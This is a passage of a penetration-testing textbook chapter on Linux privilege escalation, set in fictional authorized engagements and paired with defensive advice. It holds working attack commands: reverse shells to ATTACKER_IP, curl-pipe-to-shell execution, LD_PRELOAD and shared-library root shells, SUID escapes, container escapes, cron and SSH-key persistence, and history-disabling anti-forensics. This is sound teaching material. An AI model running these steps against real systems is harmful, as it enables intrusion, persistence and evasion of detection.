14 min read

> "Getting a shell on a Linux box is only the beginning. The real artistry of penetration testing lies in transforming that initial foothold into complete system control---methodically, patiently, and thoroughly."

Learning Objectives

  • Understand the Linux security architecture and permission model
  • Enumerate Linux systems for privilege escalation vectors
  • Exploit kernel vulnerabilities in authorized engagements
  • Abuse SUID/SGID binaries, capabilities, and misconfigurations
  • Leverage cron jobs, PATH hijacking, and writable script abuse
  • Perform container escapes and namespace attacks
  • Use automated enumeration tools (LinPEAS, Linux Exploit Suggester)

Chapter 15: Linux Exploitation and Privilege Escalation

"Getting a shell on a Linux box is only the beginning. The real artistry of penetration testing lies in transforming that initial foothold into complete system control---methodically, patiently, and thoroughly." --- A Senior Penetration Tester's Field Notes

Introduction

You have landed a low-privilege shell on a Linux server during your authorized penetration test of MedSecure Health Systems. The web application exploit from the previous phase gave you access as www-data---a user with almost no permissions beyond serving web pages. Your objective is to escalate to root and demonstrate the full impact of the initial vulnerability. But how do you get from here to there?

This chapter answers that question comprehensively. Linux privilege escalation is one of the most critical skills in a penetration tester's arsenal, and it is tested extensively in certifications like the OSCP, PNPT, and GPEN. Unlike Windows, where privilege escalation often follows predictable patterns around services and tokens, Linux presents a vast landscape of potential escalation paths: kernel exploits, misconfigured permissions, capability abuse, cron job manipulation, container escapes, and more.

We will build your understanding from the ground up. First, we examine the Linux security architecture---the very mechanisms designed to prevent what we are about to do. Then we systematically explore each category of privilege escalation, complete with hands-on commands, real-world scenarios, and defensive perspectives. By the end of this chapter, you will approach any Linux system with a structured methodology for finding and exploiting privilege escalation vectors.

⚖️ Legal Note: Every technique in this chapter must be performed only on systems you own or have explicit written authorization to test. Unauthorized privilege escalation on production systems is a criminal offense under computer fraud laws worldwide. Always operate under a signed Rules of Engagement document.


15.1 Linux Security Architecture

Before attacking Linux, you must understand what you are attacking. The Linux security model is built on layers, each designed to contain and restrict user actions.

15.1.1 The User and Group Model

Linux is fundamentally a multi-user operating system. Every process runs as a user, and every file is owned by a user and a group. The three fundamental permission categories---read, write, and execute---are applied at three levels: owner, group, and others.

# Understanding file permissions
ls -la /etc/shadow
-rw-r----- 1 root shadow 1456 Jan 15 10:23 /etc/shadow

# Breaking down: -rw-r-----
# Type: - (regular file)
# Owner (root): rw- (read, write)
# Group (shadow): r-- (read)
# Others: --- (no access)

The permission model extends beyond basic rwx. Three special permission bits play critical roles in privilege escalation:

  • SUID (Set User ID): When set on an executable, the program runs with the permissions of the file owner, not the user executing it. If a binary is owned by root and has SUID set, it runs as root regardless of who launches it.
  • SGID (Set Group ID): Similar to SUID but for group permissions. When set on a directory, new files inherit the directory's group.
  • Sticky Bit: When set on a directory (like /tmp), only the file owner can delete or rename files within it.
# SUID example - the passwd command
ls -la /usr/bin/passwd
-rwsr-xr-x 1 root root 68208 Mar 14 2023 /usr/bin/passwd
#   ^ The 's' indicates SUID is set

15.1.2 The Root Account and Sudo

The root user (UID 0) has unrestricted access to the entire system. This is the ultimate target in privilege escalation. The sudo mechanism provides a controlled way for unprivileged users to execute commands as root, governed by the /etc/sudoers file.

# Check sudo permissions for current user
sudo -l

# Common sudo misconfigurations we look for:
# (ALL) NOPASSWD: ALL                    # Full root without password
# (ALL) NOPASSWD: /usr/bin/vim           # Editor with shell escape
# (ALL) NOPASSWD: /usr/bin/find          # Find with -exec
# (root) NOPASSWD: /usr/bin/python3      # Direct Python as root

15.1.3 Linux Capabilities

Linux capabilities break up the monolithic root privilege into distinct units. Instead of granting full root access, a binary can be given specific capabilities. For example, cap_net_raw allows raw socket access without full root privileges.

# List capabilities on a binary
getcap /usr/bin/ping
/usr/bin/ping = cap_net_raw+ep

# Find all binaries with capabilities
getcap -r / 2>/dev/null

Key capabilities from a privilege escalation perspective:

Capability Description Exploitation Potential
cap_setuid Change UID Direct root escalation
cap_setgid Change GID Group escalation
cap_dac_override Bypass file read/write/execute checks Read/write any file
cap_dac_read_search Bypass read and directory search Read any file
cap_sys_admin Broad admin operations Mount, namespace, many vectors
cap_sys_ptrace Trace processes Inject into root processes
cap_net_raw Raw sockets Network sniffing

15.1.4 Security Modules: SELinux, AppArmor, and Seccomp

Modern Linux distributions deploy Mandatory Access Control (MAC) systems that add security layers beyond traditional DAC (Discretionary Access Control):

  • SELinux (Security-Enhanced Linux): Used by Red Hat, CentOS, Fedora. Enforces security policies that restrict what processes can do, even as root.
  • AppArmor: Used by Ubuntu, SUSE. Profile-based system that restricts program capabilities.
  • Seccomp: Restricts which system calls a process can make. Critical in container security.
# Check SELinux status
getenforce
sestatus

# Check AppArmor status
aa-status
cat /sys/module/apparmor/parameters/enabled

# Check seccomp on a process
grep Seccomp /proc/self/status

🔵 Blue Team Perspective: These MAC systems are your primary defense against privilege escalation. A properly configured SELinux policy can prevent even a root-level compromise from accessing sensitive data. Always ensure MAC is enforced, not permissive, on production systems.

15.1.5 Namespaces and Cgroups

Linux namespaces provide isolation---they are the foundation of container technology. There are several namespace types:

  • PID namespace: Isolates process ID space
  • Network namespace: Isolates network interfaces
  • Mount namespace: Isolates filesystem mount points
  • User namespace: Maps UIDs inside the namespace to different UIDs outside
  • UTS namespace: Isolates hostname
  • IPC namespace: Isolates inter-process communication

Cgroups (Control Groups) limit resource usage (CPU, memory, I/O) for groups of processes. Together, namespaces and cgroups form the security boundary of containers---and understanding them is essential for container escape attacks covered later in this chapter.


15.2 Linux Enumeration: Mapping the Attack Surface

Privilege escalation on Linux begins with thorough enumeration. A systematic approach prevents you from missing low-hanging fruit while also uncovering subtle misconfigurations.

15.2.1 System Information Gathering

# Operating system and kernel information
uname -a
cat /etc/os-release
cat /proc/version
hostnamectl

# Architecture
arch
uname -m

# Installed packages (Debian/Ubuntu)
dpkg -l

# Installed packages (Red Hat/CentOS)
rpm -qa

# Running kernel modules
lsmod

MedSecure Scenario: Your initial shell on the MedSecure Patient Portal server returns:

Linux medsecure-portal 4.4.0-31-generic #50-Ubuntu SMP Wed Jul 13 00:07:12 UTC 2016 x86_64

That kernel version---4.4.0-31---is from 2016. Your pulse quickens. This is well within the range affected by Dirty COW (CVE-2016-5195), which we will cover in detail in the case study.

15.2.2 User and Access Enumeration

# Current user and groups
id
whoami
groups

# All users on the system
cat /etc/passwd
# Focus on users with shells
grep -v '/nologin\|/false' /etc/passwd

# Check if /etc/shadow is readable (rare but devastating)
cat /etc/shadow 2>/dev/null

# Logged-in users
w
who
last

# Sudo permissions (critical check)
sudo -l

# Check for password hashes in passwd (legacy)
grep -v '^[^:]*:[x*!]' /etc/passwd

15.2.3 Network Enumeration

# Network interfaces and IP addresses
ip addr show
ifconfig

# Routing table
ip route
route -n

# Listening ports and connections
ss -tulnp
netstat -tulnp

# ARP cache (discover other hosts)
arp -a
ip neigh

# DNS configuration
cat /etc/resolv.conf

# Firewall rules (if readable)
iptables -L -n 2>/dev/null

15.2.4 Process and Service Enumeration

# Running processes
ps aux
ps -ef

# Process tree
pstree -a

# Services
systemctl list-units --type=service --state=running

# Cron jobs (multiple locations to check)
crontab -l
ls -la /etc/cron*
cat /etc/crontab
ls -la /var/spool/cron/crontabs/

# Timers (systemd equivalent of cron)
systemctl list-timers --all

15.2.5 File System Enumeration

# SUID binaries (critical for privesc)
find / -perm -4000 -type f 2>/dev/null

# SGID binaries
find / -perm -2000 -type f 2>/dev/null

# World-writable files
find / -perm -o+w -type f 2>/dev/null

# World-writable directories
find / -perm -o+w -type d 2>/dev/null

# Files owned by current user
find / -user $(whoami) -type f 2>/dev/null

# Recently modified files
find / -mmin -10 -type f 2>/dev/null

# Configuration files with passwords
grep -rl "password" /etc/ 2>/dev/null
grep -rl "pass" /var/www/ 2>/dev/null

# SSH keys
find / -name "id_rsa" -o -name "id_ed25519" -o -name "authorized_keys" 2>/dev/null

# Backup files
find / -name "*.bak" -o -name "*.old" -o -name "*.backup" 2>/dev/null

🔵 Blue Team Perspective: Monitor for the file enumeration patterns shown above. Tools like auditd can alert on suspicious find commands searching for SUID binaries or world-writable files. Implement file integrity monitoring (FIM) to detect unauthorized changes to sensitive files.


15.3 Kernel Exploits

Kernel exploits are the nuclear option of privilege escalation. A vulnerability in the Linux kernel itself can grant instant root access because the kernel runs with the highest privileges. However, kernel exploits carry significant risks: they can crash the system, corrupt data, or trigger kernel panics.

15.3.1 Identifying Kernel Vulnerabilities

The first step is correlating the running kernel version with known vulnerabilities:

# Get kernel version
uname -r
# Example output: 4.4.0-31-generic

# Get full kernel info
cat /proc/version

Then search for matching exploits:

# Using searchsploit
searchsploit linux kernel 4.4 privilege escalation

# Using Linux Exploit Suggester
./linux-exploit-suggester.sh

# Using Linux Exploit Suggester 2 (Python)
python linux-exploit-suggester-2.py

15.3.2 Notable Kernel Exploits

CVE Name Affected Kernels Impact
CVE-2016-5195 Dirty COW 2.x - 4.8.x Write to read-only memory
CVE-2021-4034 PwnKit All polkit versions since 2009 Root via pkexec
CVE-2021-3156 Baron Samedit sudo 1.8.2-1.8.31p2 Root via sudo heap overflow
CVE-2022-0847 Dirty Pipe 5.8 - 5.16.10 Overwrite read-only files
CVE-2022-2588 Route Table 4.x - 5.x Use-after-free to root
CVE-2023-0386 OverlayFS 5.11 - 6.2 OverlayFS privilege escalation
CVE-2023-32233 Netfilter 5.x - 6.3.1 Use-after-free in nf_tables

15.3.3 Kernel Exploit Methodology

  1. Identify the exact kernel version and distribution
  2. Search for matching exploits using multiple sources
  3. Verify the exploit applies to the specific kernel build (distribution patches may have backported fixes)
  4. Test on an identical system before running on the target (in a lab environment)
  5. Compile on a matching architecture (cross-compilation issues are common)
  6. Have a cleanup plan ready
# Example: Compiling and running a kernel exploit
# Transfer source to target
wget http://attacker-ip/exploit.c -O /tmp/exploit.c

# Compile on target
gcc /tmp/exploit.c -o /tmp/exploit -lpthread

# Execute
/tmp/exploit

# Verify
id
# uid=0(root) gid=0(root) groups=0(root)

Warning

Kernel exploits should be a last resort in penetration testing. They can destabilize systems and cause outages. Always attempt misconfigurations and userland exploits first. Document the vulnerability without exploitation if the client's Rules of Engagement restrict kernel-level attacks.

15.3.4 Dirty Pipe (CVE-2022-0847) Deep Dive

Dirty Pipe is a modern kernel vulnerability that deserves special attention for its elegance and impact. Discovered by Max Kellermann in 2022, it allows overwriting data in read-only files by exploiting a flaw in the Linux pipe mechanism.

The vulnerability exists because the PIPE_BUF_FLAG_CAN_MERGE flag was not properly cleared when initializing pipe buffer entries. An attacker can:

  1. Open a target file (read-only access is sufficient)
  2. Splice data from the file into a pipe
  3. Write arbitrary data into the pipe, which overwrites the file's page cache
# Proof of concept (simplified)
# Overwrite /etc/passwd to add a root user

# Original line in /etc/passwd:
# root:x:0:0:root:/root:/bin/bash

# After Dirty Pipe exploit overwrites the 'x' with empty password:
# root::0:0:root:/root:/bin/bash

# Now 'su root' works without a password

🔵 Blue Team Perspective: Patch management is your primary defense against kernel exploits. Implement automated patching pipelines, use live-patching solutions (kpatch, livepatch) for critical servers, and monitor kernel vulnerability advisories. Consider running kernel exploit detection tools like Falco that can detect suspicious syscall patterns.


15.4 SUID/SGID and Capabilities Abuse

SUID/SGID abuse is the bread and butter of Linux privilege escalation. Many systems have unnecessary SUID binaries or custom applications with overly permissive capabilities.

15.4.1 Finding and Analyzing SUID Binaries

# Find all SUID binaries
find / -perm -4000 -type f 2>/dev/null

# Common SUID binaries (usually safe):
# /usr/bin/passwd, /usr/bin/chfn, /usr/bin/chsh
# /usr/bin/newgrp, /usr/bin/gpasswd
# /usr/bin/sudo, /usr/bin/su
# /usr/bin/mount, /usr/bin/umount
# /usr/bin/pkexec

# Suspicious SUID binaries to investigate:
# /usr/bin/vim, /usr/bin/nano (editors with shell escape)
# /usr/bin/find (can execute commands)
# /usr/bin/python3, /usr/bin/perl (interpreters)
# /usr/local/bin/* (custom applications)
# /opt/* (third-party software)

15.4.2 GTFOBins: The SUID Bible

GTFOBins is an indispensable reference that catalogs Unix binaries exploitable for privilege escalation. When you find a SUID binary, check GTFOBins for known abuse techniques.

Example: SUID on find

# If find has SUID
find . -exec /bin/sh -p \; -quit

# The -p flag preserves the effective UID
# Result: root shell

Example: SUID on vim

# If vim has SUID
vim -c ':!/bin/sh'

# Or from within vim:
# :set shell=/bin/sh
# :shell

Example: SUID on python3

# If python3 has SUID
python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'

Example: SUID on nmap (older versions)

# Old nmap with interactive mode
nmap --interactive
!sh

15.4.3 Custom SUID Binary Analysis

When you encounter an unknown SUID binary, analyze it methodically:

# Identify the binary
file /usr/local/bin/custom-backup

# Check for linked libraries
ldd /usr/local/bin/custom-backup

# Look for strings (passwords, paths, commands)
strings /usr/local/bin/custom-backup

# Trace system calls
strace /usr/local/bin/custom-backup 2>&1

# Trace library calls
ltrace /usr/local/bin/custom-backup 2>&1

# Check if it calls other binaries without full path
strings /usr/local/bin/custom-backup | grep -i "system\|exec\|popen"

MedSecure Scenario: During enumeration of the MedSecure portal server, you discover a custom SUID binary:

$ find / -perm -4000 -type f 2>/dev/null | grep -v snap
...
-rwsr-xr-x 1 root root 16832 Jun 12 2023 /usr/local/bin/health-check

$ strings /usr/local/bin/health-check
...
service apache2 status
service mysql status
ping -c 1 localhost
...

Notice that service, ping, and other commands are called without their full path. This is exploitable via PATH hijacking (covered in Section 15.5).

15.4.4 Capabilities Abuse

Capabilities provide a more granular alternative to SUID, but they can be equally dangerous if misconfigured.

# Enumerate capabilities
getcap -r / 2>/dev/null

# Dangerous capability examples:

# cap_setuid on python3 - instant root
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# cap_dac_read_search on tar - read any file
tar czf /tmp/shadow.tar.gz /etc/shadow
tar xzf /tmp/shadow.tar.gz

# cap_sys_admin on a binary - mount operations
# Can mount host filesystem from within a container

# cap_net_raw on tcpdump - sniff traffic
tcpdump -i eth0 -w /tmp/capture.pcap

15.4.5 Sudo Misconfigurations

The sudo configuration in /etc/sudoers is a goldmine for privilege escalation:

# Check sudo permissions
sudo -l

# Common exploitable sudo entries:

# 1. Wildcard abuse
# (root) NOPASSWD: /usr/bin/find *
sudo find /etc -exec /bin/bash \;

# 2. Editor escape
# (root) NOPASSWD: /usr/bin/less /var/log/syslog
sudo less /var/log/syslog
# Then type: !/bin/bash

# 3. Script with writable components
# (root) NOPASSWD: /opt/scripts/backup.sh
# If backup.sh sources a file you can write to, inject commands

# 4. LD_PRELOAD (if env_keep includes it)
# Defaults env_keep += "LD_PRELOAD"

LD_PRELOAD Exploitation:

// malicious.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
}
# Compile as shared library
gcc -fPIC -shared -o /tmp/malicious.so malicious.c -nostartfiles

# Execute any allowed sudo command with LD_PRELOAD
sudo LD_PRELOAD=/tmp/malicious.so /usr/bin/find

🔵 Blue Team Perspective: Audit /etc/sudoers regularly. Remove NOPASSWD entries wherever possible. Never allow sudo access to editors, interpreters (python, perl, ruby), or file managers. Use sudoedit instead of allowing sudo access to text editors. Disable env_keep for dangerous environment variables like LD_PRELOAD and LD_LIBRARY_PATH.


15.5 Cron Jobs, PATH Hijacking, and Writable Script Abuse

Scheduled tasks and writable scripts are among the most common privilege escalation vectors on real-world Linux systems. System administrators frequently create cron jobs that run as root with inadequate security controls.

15.5.1 Enumerating Cron Jobs

# System crontab
cat /etc/crontab

# System cron directories
ls -la /etc/cron.d/
ls -la /etc/cron.daily/
ls -la /etc/cron.hourly/
ls -la /etc/cron.weekly/
ls -la /etc/cron.monthly/

# User crontabs
crontab -l
ls -la /var/spool/cron/crontabs/

# Systemd timers
systemctl list-timers --all

# Use pspy to monitor for hidden cron jobs
# pspy monitors processes without root privileges
./pspy64

pspy is an essential tool because some cron jobs may not be visible in the crontab files. They might be configured in ways that are only observable by watching process creation:

# Download and run pspy
wget http://attacker-ip/pspy64
chmod +x pspy64
./pspy64

# Output shows processes as they start:
# 2024/01/15 10:00:01 CMD: UID=0  PID=1234 | /bin/bash /opt/scripts/backup.sh
# 2024/01/15 10:00:01 CMD: UID=0  PID=1235 | tar czf /backup/data.tar.gz /var/www

15.5.2 Writable Script Abuse

If a cron job runs a script that your user can modify, you can inject commands that will execute as root:

# Identify the cron job
cat /etc/crontab
# * * * * * root /opt/scripts/cleanup.sh

# Check permissions on the script
ls -la /opt/scripts/cleanup.sh
# -rwxrwxrwx 1 root root 245 Jan 10 2024 /opt/scripts/cleanup.sh
#        ^^^ World-writable!

# Inject a reverse shell
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /opt/scripts/cleanup.sh

# Or add a new SUID binary
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /opt/scripts/cleanup.sh

# Wait for cron execution, then:
/tmp/rootbash -p

15.5.3 PATH Hijacking

When a script or SUID binary calls a command without its full path, the system searches the directories in the PATH environment variable in order. If you can place a malicious binary earlier in the PATH, your version will execute instead.

# Example: A SUID binary that calls 'service' without full path
strings /usr/local/bin/health-check | grep service
# Output: service apache2 status

# Create a malicious 'service' binary
echo '#!/bin/bash' > /tmp/service
echo 'bash -p' >> /tmp/service
chmod +x /tmp/service

# Modify PATH to include /tmp first
export PATH=/tmp:$PATH

# Run the SUID binary
/usr/local/bin/health-check
# Result: root shell because it executed /tmp/service as root

Cron PATH Hijacking:

# Check PATH in crontab
cat /etc/crontab
# PATH=/home/user:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

# If /home/user is in the PATH and writable by you,
# and a cron job calls a command without full path:
# * * * * * root backup-script

# Create /home/user/backup-script
echo '#!/bin/bash' > /home/user/backup-script
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /home/user/backup-script
chmod +x /home/user/backup-script

15.5.4 Wildcard Injection

Scripts that use wildcards with certain commands can be exploited:

# If a cron job runs:
# tar czf /backup/data.tar.gz *
# in a directory you can write to:

# tar supports checkpoint actions
echo "" > "/var/www/html/--checkpoint=1"
echo "" > "/var/www/html/--checkpoint-action=exec=sh privesc.sh"
echo '#!/bin/bash\nbash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' > /var/www/html/privesc.sh
chmod +x /var/www/html/privesc.sh

# When tar runs with *, it interprets the filenames as arguments
# The checkpoint action executes privesc.sh as root

15.5.5 Shared Library Hijacking

If a SUID binary or root-owned service loads shared libraries from writable locations:

# Check library loading order
ldd /usr/local/bin/target-binary

# Look for missing libraries
strace /usr/local/bin/target-binary 2>&1 | grep "No such file"
# open("/usr/local/lib/libcustom.so", O_RDONLY) = -1 ENOENT

# If the missing library's directory is writable, create it:
cat > /tmp/libcustom.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

static void inject() __attribute__((constructor));

void inject() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
}
EOF

gcc -shared -fPIC -o /usr/local/lib/libcustom.so /tmp/libcustom.c

🔵 Blue Team Perspective: Always use absolute paths in cron jobs and scripts. Set PATH explicitly at the top of scripts. Apply the principle of least privilege to script permissions---never make root-owned scripts world-writable. Monitor file integrity on critical scripts and implement cron job auditing. Remove write permissions from directories in the system PATH.


15.6 Container Escapes and Namespace Attacks

Containers have become ubiquitous in modern infrastructure, and MedSecure is no exception---their patient portal runs in Docker containers. Container escapes represent a critical privilege escalation vector that can take you from inside a restricted container to the host system with root privileges.

15.6.1 Detecting Container Environments

# Check for container indicators
cat /proc/1/cgroup
# Docker containers show docker/ in cgroup paths

# Check for .dockerenv
ls -la /.dockerenv

# Check hostname (often container ID)
hostname
# Output: a1b2c3d4e5f6

# Check for container-specific environment variables
env | grep -i docker
env | grep -i kubernetes

# Check mounted filesystems
mount | grep -i docker
df -h

# Low PID count (containers typically have few processes)
ps aux | wc -l

15.6.2 Docker Socket Escape

If the Docker socket is mounted inside the container (a common misconfiguration), you have full control over the Docker daemon:

# Check for Docker socket
ls -la /var/run/docker.sock

# If present, you can create a privileged container that mounts the host filesystem
docker run -v /:/host -it ubuntu chroot /host bash

# Or using curl if docker CLI isn't available
curl -s --unix-socket /var/run/docker.sock http://localhost/images/json
curl -s --unix-socket /var/run/docker.sock -X POST \
  -H "Content-Type: application/json" \
  -d '{"Image":"ubuntu","Cmd":["/bin/bash"],"Mounts":[{"Type":"bind","Source":"/","Target":"/host"}],"HostConfig":{"Privileged":true}}' \
  http://localhost/containers/create

15.6.3 Privileged Container Escape

If the container runs with --privileged, all security restrictions are disabled:

# Check if privileged
cat /proc/self/status | grep CapEff
# CapEff: 000001ffffffffff  (all capabilities = privileged)

# Compare with unprivileged container:
# CapEff: 00000000a80425fb  (limited capabilities)

# Escape via mounting host disk
fdisk -l
# /dev/sda1 is usually the host filesystem
mkdir /mnt/host
mount /dev/sda1 /mnt/host
chroot /mnt/host bash

# Alternative: escape via cgroup release_agent
d=$(dirname $(ls -x /s*/fs/c*/*/r* | head -n1))
mkdir -p $d/w
echo 1 > $d/w/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > $d/release_agent
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" >> /cmd
chmod +x /cmd
sh -c "echo \$\$ > $d/w/cgroup.procs"

15.6.4 Exploiting Exposed Container Services

# Check for Kubernetes service account tokens
ls -la /var/run/secrets/kubernetes.io/serviceaccount/
cat /var/run/secrets/kubernetes.io/serviceaccount/token

# Use the token to interact with the Kubernetes API
KUBE_TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -ks https://kubernetes.default.svc/api/v1/namespaces \
  -H "Authorization: Bearer $KUBE_TOKEN"

# Check if you can create pods (potential escape)
curl -ks https://kubernetes.default.svc/apis/authorization.k8s.io/v1/selfsubjectaccessreviews \
  -H "Authorization: Bearer $KUBE_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectAccessReview","spec":{"resourceAttributes":{"verb":"create","resource":"pods"}}}'

15.6.5 Namespace Attacks

# User namespace exploitation
# If user namespaces are enabled, you can create a namespace where you are root
unshare -U -r bash
# Now you are root inside the new user namespace

# This is limited in isolation but can be combined with other vulnerabilities

# Check namespace support
cat /proc/sys/user/max_user_namespaces
# If > 0, user namespaces are enabled

# OverlayFS + user namespace attacks (CVE-2023-0386)
# Allows creating setuid files through overlayfs in user namespace

15.6.6 Kubernetes-Specific Attacks

# Pod escape via hostPID
# If pod has hostPID: true, you can see host processes
ps aux  # Shows ALL host processes

# Enter the host's namespace through PID 1
nsenter --target 1 --mount --uts --ipc --net --pid -- bash

# Pod escape via hostNetwork
# If pod has hostNetwork: true, you share the host's network namespace
# Can access services bound to localhost on the host

# Pod escape via hostPath mount
# If a hostPath volume mounts /, you can access the host filesystem

🔵 Blue Team Perspective: Never mount the Docker socket into containers. Avoid running privileged containers. Use Pod Security Policies or Pod Security Standards in Kubernetes to prevent privileged pods. Implement runtime security monitoring with tools like Falco, Sysdig Secure, or Aqua Security. Regularly audit container configurations and scan images for vulnerabilities.


15.7 Automated Enumeration Tools

While manual enumeration is essential for understanding, automated tools dramatically increase efficiency and reduce the chance of missing something.

15.7.1 LinPEAS (Linux Privilege Escalation Awesome Script)

LinPEAS is the gold standard for automated Linux enumeration. It checks hundreds of privilege escalation vectors and color-codes findings by severity.

# Transfer LinPEAS to target
# Method 1: wget
wget http://ATTACKER_IP/linpeas.sh

# Method 2: curl
curl http://ATTACKER_IP/linpeas.sh -o linpeas.sh

# Method 3: In-memory execution (no file on disk)
curl http://ATTACKER_IP/linpeas.sh | sh

# Run with full output
chmod +x linpeas.sh
./linpeas.sh | tee /tmp/linpeas_output.txt

# Run specific checks only
./linpeas.sh -s  # Silent mode (no banner)
./linpeas.sh -a  # All checks including lengthy ones

LinPEAS Color Coding: - Red/Yellow (95% PE vector): Almost certain privilege escalation path - Red (PE vector): Highly likely escalation path - Cyan: Information useful for exploitation - Green: Normal information with some interest - Blue: General system information

What LinPEAS Checks: - System information and kernel version - Available exploits for the kernel - Sudo permissions and sudo version - SUID/SGID binaries - Capabilities - Interesting files (configs, backups, SSH keys) - Writable directories and files - Cron jobs and timers - Network information - Container detection - Process information - User and group information - Software versions

15.7.2 Linux Exploit Suggester

# Linux Exploit Suggester (Bash)
wget http://ATTACKER_IP/linux-exploit-suggester.sh
chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh

# Linux Exploit Suggester 2 (Python)
python linux-exploit-suggester-2.py

# Output example:
# [+] Dirty COW (CVE-2016-5195)
#     Exposure: highly probable
#     Tags: debian=7|8,ubuntu=14.04|12.04
#     Download: https://www.exploit-db.com/exploits/40839

15.7.3 Linux Smart Enumeration (LSE)

# LSE provides different verbosity levels
wget http://ATTACKER_IP/lse.sh
chmod +x lse.sh

# Level 0: Show only critical findings
./lse.sh -l 0

# Level 1: Show interesting findings
./lse.sh -l 1

# Level 2: Show all information
./lse.sh -l 2

15.7.4 pspy --- Process Monitoring Without Root

# pspy monitors processes in real-time
# Essential for discovering hidden cron jobs
wget http://ATTACKER_IP/pspy64
chmod +x pspy64
./pspy64

# With color and timestamp options
./pspy64 -pf -i 1000

15.7.5 linuxprivchecker

# Python-based privilege checker
python linuxprivchecker.py

# Extended mode with exploit suggestions
python linuxprivchecker.py -w

ShopStack Scenario: In the ShopStack engagement, your team runs LinPEAS on their e-commerce application server and discovers:

╔══════════╣ SUID - Check easy privesc, exploits and determine what you can do
-rwsr-xr-x 1 root root 16712 /opt/shopstack/bin/inventory-sync
-rwsr-xr-x 1 root root 163600 /usr/bin/sudo

╔══════════╣ Checking writable cron directories
/etc/cron.d is writable!

╔══════════╣ Capabilities
/usr/bin/python3.8 = cap_setuid+ep

Three potential vectors in one scan: a custom SUID binary, a writable cron directory, and Python with cap_setuid. The Python capability is the fastest path---a single command provides root.


15.8 Privilege Escalation Methodology

Having covered individual techniques, let us formalize a systematic methodology:

Step 1: Situational Awareness

id && whoami && hostname && uname -a && ip addr

Step 2: Quick Wins (30 seconds)

# Check sudo permissions
sudo -l

# Check for SUID/SGID
find / -perm -4000 -type f 2>/dev/null

# Check capabilities
getcap -r / 2>/dev/null

# Check for writable passwd
ls -la /etc/passwd /etc/shadow

Step 3: Automated Enumeration (2-5 minutes)

# Run LinPEAS
curl http://ATTACKER_IP/linpeas.sh | sh

# Monitor for cron jobs
./pspy64 &

Step 4: Deep Manual Enumeration (10-30 minutes)

  • Review all cron jobs and their scripts
  • Analyze custom SUID binaries
  • Check for credentials in configuration files
  • Examine network services and internal connections
  • Look for Docker/container indicators
  • Review bash history and log files

Step 5: Exploitation

  • Start with the highest-confidence, lowest-risk vector
  • Document each attempt
  • Have a rollback plan for destructive techniques

Step 6: Verification and Cleanup

# Verify escalation
id
# uid=0(root) gid=0(root) groups=0(root)

# Document the path taken
# Clean up any files created
# Restore any modified configurations

Student Home Lab Tip: Set up a dedicated privilege escalation practice environment using platforms like TryHackMe (Linux PrivEsc rooms), HackTheBox, or build your own using purposefully vulnerable VMs like Lin.Security or Escalate_Linux. Practice each technique until it becomes second nature. The methodology above should be your checklist for every engagement.


15.9 Real-World Considerations

15.9.1 Anti-Forensics and Stealth

In red team engagements where stealth is required:

# Disable bash history
unset HISTFILE
export HISTSIZE=0

# Execute in memory (no file on disk)
curl http://ATTACKER_IP/linpeas.sh | sh

# Use /dev/shm instead of /tmp (tmpfs, no disk writes)
cp exploit /dev/shm/

# Clean up logs if authorized to do so
# (Always confirm with engagement rules)

15.9.2 Restricted Shells

Sometimes your initial shell is restricted (rbash, rzsh, lshell):

# Escape techniques
# Via ssh
ssh user@localhost -t "bash --noprofile"

# Via vi/vim
vi
:set shell=/bin/bash
:shell

# Via awk
awk 'BEGIN {system("/bin/bash")}'

# Via python
python3 -c 'import os; os.system("/bin/bash")'

# Via found binaries
/bin/bash
/bin/sh

15.9.3 File Transfer Methods

Getting tools onto the target:

# Python HTTP server (attacker)
python3 -m http.server 8080

# wget (target)
wget http://ATTACKER_IP:8080/linpeas.sh

# curl (target)
curl http://ATTACKER_IP:8080/linpeas.sh -o linpeas.sh

# Netcat (attacker)
nc -lvnp 4444 < linpeas.sh
# Netcat (target)
nc ATTACKER_IP 4444 > linpeas.sh

# Base64 encoding (when file transfer is blocked)
# Attacker: base64 linpeas.sh
# Target: echo "BASE64_STRING" | base64 -d > linpeas.sh

# SCP (if you have SSH credentials)
scp linpeas.sh user@target:/tmp/

15.9.4 Persistence After Escalation

Once you achieve root (with authorization), establishing persistence ensures continued access:

# SSH key persistence
mkdir -p /root/.ssh
echo "YOUR_PUBLIC_KEY" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys

# Cron-based persistence
echo "* * * * * bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" >> /var/spool/cron/crontabs/root

# SUID backdoor
cp /bin/bash /tmp/.backdoor
chmod +s /tmp/.backdoor

# Note: Always document persistence mechanisms and remove
# them during cleanup phase of the engagement

⚖️ Legal Note: Persistence mechanisms must be explicitly authorized in the Rules of Engagement. Always maintain a detailed log of every persistence mechanism installed, and ensure complete removal during the engagement cleanup phase.


15.10 Combining Techniques: A Complete Walkthrough

Let us walk through a complete privilege escalation scenario on the MedSecure Patient Portal server, combining multiple techniques.

Initial Access: Web shell as www-data via SQL injection in the patient records module.

# Step 1: Situational Awareness
www-data@medsecure-portal:~$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

www-data@medsecure-portal:~$ uname -a
Linux medsecure-portal 5.4.0-42-generic #46-Ubuntu SMP Fri Jul 10 00:24:02 UTC 2020

# Step 2: Quick Wins
www-data@medsecure-portal:~$ sudo -l
